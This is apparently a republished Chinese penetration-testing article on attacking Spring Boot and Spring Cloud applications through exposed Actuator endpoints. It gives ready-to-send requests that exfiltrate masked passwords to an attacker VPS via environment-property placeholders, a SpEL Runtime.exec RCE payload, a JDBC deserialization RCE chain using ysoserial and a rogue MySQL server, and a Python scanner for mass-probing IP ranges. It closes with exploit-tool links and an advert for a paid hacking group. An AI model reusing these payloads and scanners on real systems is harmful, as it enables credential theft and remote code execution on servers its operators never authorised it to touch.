Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

10.4.3 查看结果
访问 --> /actuator/gateway/routes/milu

10.4.4 删除路由

DELETE /actuator/gateway/routes/milu HTTP/1.1Host: 192.168.32.130:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: close


10.4.5 刷新路由

POST /actuator/gateway/refresh HTTP/1.1Host: 192.168.32.130:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 0


11.Spring Actuator 未授权访问

11.1漏洞介绍

Actuator 是 Spring Boot 提供的服务监控和管理中间件。当 Spring Boot 应用程序运行时,它会自动将多个端点注册到路由进程中。而由于对这些端点的错误配置,就有可能导致一些系统信息泄露、XXE、甚至是 RCE 等安全问题。

其实这个上面已经说过了

重新说一下吧

11.2端点介绍

/autoconfig  提供了一份自动配置报告,记录哪些自动配置条件通过了,哪些没通过/beans  描述应用程序上下文里全部的Bean,以及它们的关系/env  获取全部环境属性/configprops  描述配置属性(包含默认值)如何注入Bean/dump  获取线程活动的快照/health  报告应用程序的健康指标,这些值由HealthIndicator的实现类提供/info  获取应用程序的定制信息,这些信息由info打头的属性提供/mappings  描述全部的URI路径,以及它们和控制器(包含Actuator端点)的映射关系/metrics  报告各种应用程序度量信息,比如内存用量和HTTP请求计数/shutdown  关闭应用程序,要求endpoints.shutdown.enabled设置为true/trace  提供基本的HTTP请求跟踪信息(时间戳、HTTP头等)

spring boot 1.x版本端点地址 --> /health

spring boot 2.x --> /actuator

11.3深层次利用

11.3.1  heapdump介绍

Heapdump,即堆转储文件,是一个Java进程在某个时间点上的内存快照。HeapDump记录了JVM中堆内存运行的情况,保存了Java对象、类以及线程栈以及本地变量等信息,最重要的是里面可能存有数据库密码信息。

11.3.2工具

下载地址https://toolaffix.oss-cn-beijing.aliyuncs.com/wyzxxz/20230608/heapdump_tool.jar
java -jar heapdump_tool.jar heapdump
或者可以使用一款 JVM OQL 可视化查询工具 VisualVm 去查询
command+回车运行sql语句
说明:选择环境变量
select * from org.springframework.web.context.support.StandardServletEnvironment

spring boot 1.x 版本 heapdump 查询结果,最终结果存储在 java.util.Hashtable$Entry 实例的键值对中

  sql select * from org.springframework.web.context.support.StandardServletEnvironment      select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))  


  spring boot 2.x 版本 heapdump 查询结果,最终结果存储在 java.util.LinkedHashMap$Entry 实例的键值对中:

sql select * from java.util.LinkedHashMap$Entry x WHERE (toString(x.key).contains("password"))   

11.2actuator env 泄露

11.2.1介绍

Spring Boot Actuator 模块提供了健康检查,审计,指标收集,HTTP 跟踪等,是帮助我们监控和管理Spring Boot 应用的模块。这个模块采集应用的内部信息,展现给外部模块,可以查看应用配置的详细信息,例如自动化配置信息、创建的Spring beans信息、系统环境变量的配置信息以及Web请求的详细信息等。
如果没有正确使用Actuator,可能造成信息泄露等严重的安全隐患(外部人员非授权访问Actuator端点)。其中heapdump作为Actuator组件最为危险的Web端点,heapdump因未授权访问被恶意人员获取后进行分析,可进一步获取敏感信息。
SpringBoot 1.x 和 2.x 的 Actuator模块设置有差别,访问功能的路径也有差别,但现在多使用的SpringBoot版本为2.x,这篇文章只讲SpringBoo 2.x Actuator模块带来的信息泄露。
11.2.2指纹

eureka eureka RCE

springt-boot-strater-actuator Snakeyaml RCE

spring-cloud-strater Snakeyaml RCE

mangodb 数据库账号密码

mappings 未授权接口

trace 认证信息 例cookie

refresh getshell

race 最近请求信息,例如登录情况

h2database h2database query RCE

env中可能会含有很多敏感信息,比如存在一些脆弱资产如redis等

Eureka RCE
如果env中能确认存在Eureka组件,那么可能存在RCE漏洞
比如下面这样

后面打法就不演示了

12.获取星号信

12.1介绍

访问 /env 接口时,spring actuator 会将一些带有敏感关键词(如 password、secret)的属性名对应的属性值用 * 号替换达到脱敏的效果

12.2方法1

利用条件

1.目标网站存在 /jolokia 或 /actuator/jolokia 接口
2.目标使用了 jolokia-core 依赖(版本要求暂未知)

Step1: 首先我们找到想要获取的属性名,请求 /env 或 /actuator/env 接口,搜索 * 关键字,找到想要获取的被星号挡住的属性值对应的属性名

Step2: jolokia调用相关Mbean获取明文 把下面示例中的 security.user.password 替换为实际中要获取的属性名,发包即可,明文值会在response包中的 value中

调用 org.springframeword.boot Mbean

说明:实际上是调用了 org.springframework.boot.admin.SpringApplicationAdminMXBeanRegistrar 类实例的 getProperty 方法

Spring 1.x

POST /jolokia
Content-Type: application/json

{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}

Spring 2.x

POST /actuator/jolokia
Content-Type: application/json

{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}

调用 org.springframework.cloud.context.environment Mbean

说明:实际上调用的是org.springframework.cloud.context.environment.EnvironmentManager 类实例的 getProperty 方法

Spring 1.x

POST /jolokia
Content-Type: application/json

{"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}

Spring 2.x

POST /actuator/jolokia
Content-Type: application/json

{"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}

Method-2

利用条件如⬇️:

  • 可以GET请求目标网站的 /env

  • 可以POST请求目标网站的 /env

  • 可以POST请求目标网站的 /refresh 接口刷新配置 (存在 spring-boot-starter-actuator 依赖)

  • 目标使用了 spring-cloud-starter-netflix-eureka-client 依赖

  • 目标可以请求攻击者的服务器(请求可出网)

Step-1: 首先我们找到想要获取的属性名,请求 /env 或 /actuator/env 接口,搜索 * 关键字,找到想要获取的被星号挡住的属性值对应的属性名

Step-2: 使用nc监听HTTP请求,在自己的vps上监听 80端口

nc -lvk 80

Step-3: 设置 eureka.client.serviceUrl.defaultZone 属性 把 --> "http://value:${security.user.password}@your-vps-ip" 中的 "security.user.password" 换成自己想要获取的对应的星号遮掩对应的属性名即可

spring 1.x

POST /env
Content-Type: application/x-www-form-urlencoded

eureka.client.serviceUrl.defaultZone=http://value:${security.user.password}@your-vps-ip

spring 2.x

POST /actuator/env
Content-Type: application/json

{"name":"eureka.client.serviceUrl.defaultZone","value":"http://value:${security.user.password}@your-vps-ip"}

Step-4: 刷新配置

spring 1.x

POST /refresh
Content-Type: application/x-www-form-urlencoded

spring 2.x

POST /actuator/refresh
Content-Type: application/json

Step-5:解码属性值

正常来的话,nc会监听到服务器发送来的请求,其中包含类似Authorization 头内容,这是一串base64,解码即可

Authorization: Basic dmFsdWU6MTIzNDU2

Method-3

利用条件如⬇️:

  • 通过 POST /env 设置属性触发目标对外网指定地址发起任意HTTP请求

  • 目标可以请求攻击者的服务器(出网)

说明:参考 UUUUnotfound 提出的 issue-1,可以在目标发外部 http 请求的过程中,在 url path 中利用占位符带出数据

Step-1:**GET请求目标网站的 /env 或 /actuator/env接口 ,搜索 * 关键字,找到想要获取的被星号挡住的属性值对应的属性名

Step-2:监听HTTP请求 在自己控制的vps上监听80端口

nc -lvk 80

Step-3: 触发对外HTTP请求

  • spring.cloud.bootstrap.location 方法(同时适用于明文数据中有特殊 url 字符的情况)

spring 1.x

POST /env
Content-Type: application/x-www-form-urlencoded

spring.cloud.bootstrap.location=http://your-vps-ip/?=${security.user.password}

spring 2.x

POST /actuator/env
Content-Type: application/json

{"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/?=${security.user.password}"}

  • eureka.client.serviceUrl.defaultZone 方法(不适用于明文数据中有特殊 url 字符的情况)

spring 1.x

POST /env
Content-Type: application/x-www-form-urlencoded

eureka.client.serviceUrl.defaultZone=http://your-vps-ip/${security.user.password}

spring 2.x

POST /actuator/env
Content-Type: application/json

{"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/${security.user.password}"}

Step-4 :刷新配置

Spring 1.x

POST /refresh
Content-Type: application/x-www-form-urlencoded

Spring 2.x

POST /actuator/refresh
Content-Type: application/json

Method-4

利用条件如⬇️:

  • 可以正常GET请求目标/headpdump 或 /actuator/heapdump

Step-1: **GET请求目标网站的 /env 或 /actuator/env接口 ,搜索 * 关键字,找到想要获取的被星号挡住的属性值对应的属性名

Step-2: 下载 jvm heap 信息(大小一般在50M - 500M 之间,有时候会大于2G)

Step-3: 使用MAT获取 jvm heap 中的密码明文

参考 文章 方法,使用 Eclipse Memory Analyzer 工具的 OQL 语句

select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))

select * from java.util.LinkedHashMap$Entry x WHERE (toString(x.ke

y).contains("password"))

13.whitelabel error page SpEL RCE

13.3.1漏洞介绍

spring boot 处理参数值出错,流程进入 org.springframework.util.PropertyPlaceholderHelper 类中

此时 URL 中的参数值会用 parseStringValue 方法进行递归解析。

其中 ${} 包围的内容都会被 org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration 类的 resolvePlaceholder 方法当作 SpEL 表达式被解析执行,造成 RCE 漏洞

13.3.2范围

spring boot 1.1.0-1.1.12、1.2.0-1.2.7、1.3.0
至少知道一个触发 springboot 默认错误页面的接口及参数名(fuzz)

13.3.3指纹

Spring Boot 传参触发默认错误页面 --> whitelabel error page SpEL RCE

13.3.4 EXP

这里fuzz出来是article?id

脚本生成一下payload

result = ""
target = '命令'
for x in target:
result += hex(ord(x)) + ","
print(result.rstrip(','))
http://192.168.233.131:26875/article?id=${T(java.lang.Runtime).getRuntime().exec(new%20String(new%20byte[]{生成的字符串}))}

14.mysql jdbc deserialization RCE

环境地址

SpringBootVulExploit/repository/springboot-mysql-jdbc-rce at master · LandGrey/SpringBootVulExploit · GitHub

14.1漏洞原理

1.spring.datasource.url 属性被设置为外部恶意 mysql jdbc url 地址

2.refresh 刷新后设置了一个新的 spring.datasource.url 属性值

3.当网站进行数据库查询等操作时,会尝试使用恶意 mysql jdbc url 建立新的数据库连接

4.然后恶意 mysql server 就会在建立连接的合适阶段返回反序列化 payload 数据

5.目标依赖的 mysql-connector-java 就会反序列化设置好的 gadget,造成 RCE 漏洞

可以 POST 请求目标网站的 /env接口设置属性
可以 POST 请求目标网站的 /refresh接口刷新配置(存在 spring-boot-starter-actuator依赖)
目标环境中存在 mysql-connector-java依赖
目标可以请求攻击者的服务器(请求可出外网)

利用方法

1:查看环境依赖

1-GET请求 /env 或 /actuator/env,搜索环境变量(classpath)中是否有 mysql-connector-java关键词,并记录下版本号(5.0x或8.x)

2-搜索并观察环境变量中是否存在常见的反序列化gadget依赖,比如 commons-collections、Jdk7u21、Jdk8u20等

搜索 spring.datasource.url 关键字,记录下value值,方便后续恢复其正常 jdbc url的值

2:假设恶意 rogue mysql server

说明:在自己服务器上运行 springboot-jdbc-deserialization-rce.py 脚本,并使用 ysoserial 自定义要执行的命令

wget https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-jdbc-deserialization-rce.py
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections3 "curl xxx" > payload.ser

在脚本同目录下生成 payload.ser 反序列化payload文件供EXP脚本使用

3:设置 spring.datasource.url 属性

说明:修改这个属性会导致Mysql瘫痪,需要谨慎操作

Mysql-connector-java 5.x 版本设置属性值为:

jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true

Mysql-connector-java 8.x 版本设置属性值为:

jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true

spring 1.x

POST /env
Content-Type: application/x-www-form-urlencoded

spring.datasource.url=对应属性值

spring 2.x

POST /actuator/env 
Content-Type: application/json

{"name":"spring.datasource.url","value":"对应属性值"}

4:刷新配置

pring 1.x

POST /refresh
Content-Type: application/x-www-form-urlencoded

spring 2.x

POST /actuator/refresh
Content-Type: application/json

5:出发数据库查询

说明:尝试访问网站已知的数据库查询的接口,例如: /product/list,或者寻找其他方式,主动触发源网站进行数据库查询,然后漏洞会被触发

6:恢复正常 jdbc url

反序列化漏洞利用完成后,使用 步骤三的方法恢复 步骤一中记录的 spring.datasource.url 的原始  value 值

OVER OVER

附带几个工具

1.SB-Actuator

https://github.com/rabbitmask/SB-Actuator

git clone https://github.com/rabbitmask/SB-Actuator.git

2.Spring Boot Exploit

https://github.com/0x727/SpringBootExploit

git clone https://github.com/0x727/SpringBootExploit.git

3.Spring4shell

项目地址:https://github.com/reznok/Spring4Shell-POC

git clone https://github.com/reznok/Spring4Shell-POC.git

4.Spring Core RCE

项目地址:https://github.com/TheGejr/SpringShell

git clone https://github.com/TheGejr/SpringShell.git

附带一个指纹表

1 /gs-guide-websocket CVE-2018-1270

2 存在表单交互 CVE-2018-1273

    or

    CVE-2017-4971

3 全是json格式且是Restful风格的api

4- /oauth/authorize 且存在登录界面 CVE-2016-4977

5 /functionRouter CVE-2022-22963

6 Actuator env泄露

    6.1 eureka --> eureka RCE
    6.2 springt-boot-strater-actuator and spring-cloud-strater
Snakeyaml RCE
    6.4  race 最近请求信息,例如登录情况
    6.4 h2database h2database query RCE
    6.5 mappings 未授权接口
    6.6 trace 认证信息 例cookie
    6.7 refresh getshell
    6.8 mangodb 数据库账号密码

7 Spring Boot 传参触发默认错误页面 whitelabel error page SpEL RCE

8 /actutor/gateway CVE-2022-22947

9 Spring + mongodb CVE-2022-22980

一个识别Spring Boot Actuator未授权访问的脚本

import argparseimport reimport requestsfrom multiprocessing import Pool, Managerfrom concurrent.futures import ThreadPoolExecutorimport ipaddress

requests.packages.urllib3.disable_warnings()headers = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0", "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",}
executor = ThreadPoolExecutor()
# Spring Boot < 1.5 默认未授权访问所有端点# Spring Boot >= 1.5 默认只允许访问/health和/info端点,但是此安全性通常被应用程序开发人员禁用# 另外考虑到人为关闭默认端点开启非默认端点的情况,综上所述,此处采用暴力模式配合异步并发(子进程中嵌套异步子线程)解决。pathlist=['/autoconfig','/beans','/configprops','/dump','/health','/info','/mappings','/metrics','/trace',]
def getinfo(filepath): fr = open(filepath, 'r') ips=fr.readlines() fr.close() return ips
def saveinfo(result): if result: fw=open('result.txt','a') fw.write(result+'\n') fw.close()
def sbcheck(ip): url= str(ip) try: r = requests.get(url+ '/404', headers=headers,timeout=10,verify=False) if r.status_code==404 or r.status_code==403: if 'Whitelabel Error Page' in r.text or 'There was an unexpected error'in r.text: print("It's A Spring Boot Web APP: {}".format(url)) saveinfo( "It's A Spring Boot Web APP: {}".format(url)) executor.submit(sb_Actuator,url) return 1 except requests.exceptions.ConnectTimeout: return 0.0 except requests.exceptions.ConnectionError: return 0.1

def isSB(ip,q): print('>>>>> {}'.format(ip)) sbcheck(ip) q.put(ip)

#大多数Actuator仅支持GET请求并仅显示敏感的配置数据,如果使用了Jolokia端点,可能会产生XXE、甚至是RCE安全问题。#通过查看/jolokia/list 中存在的 Mbeans,是否存在logback 库提供的reloadByURL方法来进行判断。def Jolokiacheck(url): url_tar = url + '/jolokia/list' r = requests.get(url_tar, headers=headers, verify=False) if r.status_code == 200: print("目标站点开启了 jolokia 端点的未授权访问,路径为:{}".format(url_tar)) saveinfo("目标站点开启了 jolokia 端点的未授权访问,路径为:{}".format(url_tar)) if 'reloadByURL' in r.text: print("目标站点开启了 jolokia 端点且存在reloadByURL方法,可进行XXE/RCE测试,路径为:{}".format(url_tar)) saveinfo("目标站点开启了 jolokia 端点且存在reloadByURL方法,可进行XXE/RCE测试,路径为:{}".format(url_tar)) if 'createJNDIRealm' in r.text: print("目标站点开启了 jolokia 端点且存在createJNDIRealm方法,可进行JNDI注入RCE测试,路径为:{}".format(url_tar)) saveinfo("目标站点开启了 jolokia 端点且存在createJNDIRealm方法,可进行JNDI注入RCE测试,路径为:{}".format(url_tar))

#Spring Boot env端点存在环境属性覆盖和XStream反序列化漏洞def Envcheck_1(url): url_tar = url + '/env' r = requests.get(url_tar, headers=headers, verify=False) if r.status_code == 200: print("目标站点开启了 env 端点的未授权访问,路径为:{}".format(url_tar)) saveinfo("目标站点开启了 env 端点的未授权访问,路径为:{}".format(url_tar)) if 'spring.cloud.bootstrap.location' in r.text: print("目标站点开启了 env 端点且spring.cloud.bootstrap.location属性开启,可进行环境属性覆盖RCE测试,路径为:{}".format(url_tar)) saveinfo("目标站点开启了 env 端点且spring.cloud.bootstrap.location属性开启,可进行环境属性覆盖RCE测试,路径为:{}".format(url_tar)) if 'eureka.client.serviceUrl.defaultZone' in r.text: print("目标站点开启了 env 端点且eureka.client.serviceUrl.defaultZone属性开启,可进行XStream反序列化RCE测试,路径为:{}".format(url_tar)) saveinfo("目标站点开启了 env 端点且eureka.client.serviceUrl.defaultZone属性开启,可进行XStream反序列化RCE测试,路径为:{}".format(url_tar))
#Spring Boot 1.x版本端点在根URL下注册。def sb1_Actuator(url): key=0 Envcheck_1(url) Jolokiacheck(url) for i in pathlist: url_tar = url+i r = requests.get(url_tar, headers=headers, verify=False) if r.status_code==200: print("目标站点开启了 {} 端点的未授权访问,路径为:{}".format(i.replace('/',''),url_tar)) saveinfo("目标站点开启了 {} 端点的未授权访问,路径为:{}".format(i.replace('/',''),url_tar)) key=1 return key
#Spring Boot 2.x版本存在H2配置不当导致的RCE
def Envcheck_2(url): url_tar = url + '/actuator/env' r = requests.get(url_tar, headers=headers, verify=False) if r.status_code == 200: print("目标站点开启了 env 端点的未授权访问,路径为:{}".format(url_tar)) saveinfo("目标站点开启了 env 端点的未授权访问,路径为:{}".format(url_tar)) if 'spring.cloud.bootstrap.location' in r.text: print("目标站点开启了 env 端点且spring.cloud.bootstrap.location属性开启,可进行环境属性覆盖RCE测试,路径为:{}".format(url_tar)) saveinfo("目标站点开启了 env 端点且spring.cloud.bootstrap.location属性开启,可进行环境属性覆盖RCE测试,路径为:{}".format(url_tar)) if 'eureka.client.serviceUrl.defaultZone' in r.text: print("目标站点开启了 env 端点且eureka.client.serviceUrl.defaultZone属性开启,可进行XStream反序列化RCE测试,路径为:{}".format(url_tar)) saveinfo("目标站点开启了 env 端点且eureka.client.serviceUrl.defaultZone属性开启,可进行XStream反序列化RCE测试,路径为:{}".format(url_tar)) headers["Cache-Control"]="max-age=0" rr = requests.post(url+'/actuator/restart', headers=headers, verify=False) if rr.status_code == 200: print("目标站点开启了 env 端点且支持restart端点访问,可进行H2 RCE测试,路径为:{}".format(url+'/actuator/restart')) saveinfo("目标站点开启了 env 端点且支持restart端点访问,可进行H2 RCE测试,路径为:{}".format(url+'/actuator/restart'))


#Spring Boot 2.x版本端点移动到/actuator/路径。def sb2_Actuator(url): Envcheck_2(url) Jolokiacheck(url+'/actuator') for i in pathlist: url_tar = url+'/actuator'+i r = requests.get(url_tar, headers=headers, verify=False) if r.status_code==200: print("目标站点开启了 {} 端点的未授权访问,路径为:{}".format(i.replace('/',''),url_tar)) saveinfo("目标站点开启了 {} 端点的未授权访问,路径为:{}".format(i.replace('/', ''), url_tar))



def sb_Actuator(url): try: if sb1_Actuator(url)==0: sb2_Actuator(url) except: pass
def Cidr_ips(cidr): ips=[] for ip in ipaddress.IPv4Network(cidr): ips.append('%s'%ip) return ips

def cidrscan(cidr): if re.match(r"^(?:(?:[0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}(?:[0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\/([1-9]|[1-2]\d|3[0-2])$",cidr): curls = [] ips=Cidr_ips(cidr) for i in ips: curls.append('http://'+i) curls.append('https://'+i) poolmana(curls) else: print("CIDR格式输入有误,锤你昂w(゚Д゚)w")

def poolmana(ips): p = Pool(10) q = Manager().Queue() for i in ips: i=i.replace('\n','') p.apply_async(isSB, args=(i,q,)) p.close() p.join() print('检索完成>>>>>\n请查看当前路径下文件:result.txt')

def run(filepath): ips=getinfo(filepath) poolmana(ips)

if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument("-u", "--url", dest='url',help="单目标扫描") parser.add_argument("-s", "--surl", dest='surl', help="单目标扫描(跳过指纹)") parser.add_argument("-c", "--cidr", dest='cidr', help="CIDR扫描(80/443)") parser.add_argument("-f", "--file", dest='file', help="从文件加载目标")
args = parser.parse_args() if args.url: res=sbcheck(args.url) if res==1: pass elif res==0.0: print("与目标网络连接异常,timeout默认为10s,请根据网络环境自行更改") elif res==0.1: print("与目标网络连接异常,目标计算机积极拒绝,无法连接") else: print("目标未使用spring boot或本脚本识别模块不够完善,如为后者欢迎反馈Issue") elif args.surl: sb_Actuator(args.surl) elif args.cidr: cidrscan(args.cidr) elif args.file: run(args.file)

输入格式例如:http:127.0.0.1   or https://xxx.com

几个spring漏洞检测利用工具

https://github.com/13exp/SpringBoot-Scan-GUI
https://github.com/AabyssZG/SpringBoot-Scan

一个bp的插件

https://github.com/whwlsfb/SpringSpider

几个指纹识别工具

https://github.com/urbanadventurer/WhatWeb
https://github.com/TideSec/TideFinger
https://github.com/EdgeSecurityTeam/EHole


付费圈子

欢 迎 加 入 星 球 !

代码审计+免杀+渗透学习资源+各种资料文档+各种工具+付费会员

进成员内部群

星球的最近主题和星球内部工具一些展示

加入安全交流群



               

关 注 有 礼

关注下方公众号回复“666”可以领取一套领取黑客成长秘籍

 还在等什么?赶紧点击下方名片关注学习吧!


干货|史上最全一句话木马

干货 | CS绕过vultr特征检测修改算法

实战 | 用中国人写的红队服务器搞一次内网穿透练习

实战 | 渗透某培训平台经历

实战 | 一次曲折的钓鱼溯源反制

免责声明
由于传播、利用本公众号渗透安全团队所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号渗透安全团队及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
好文分享收藏赞一下最美点在看哦

文章来源: http://mp.weixin.qq.com/s?__biz=MzkxNDAyNTY2NA==&mid=2247511624&idx=1&sn=0273536ef721bc9fbda6ccde937f3df9&chksm=c17653e7f601daf19d53853d040950b7aadffab9da4a8c408413cec0e322097180491b777b6c&scene=0&xtrack=1#rd
如有侵权请联系:admin#unsafe.sh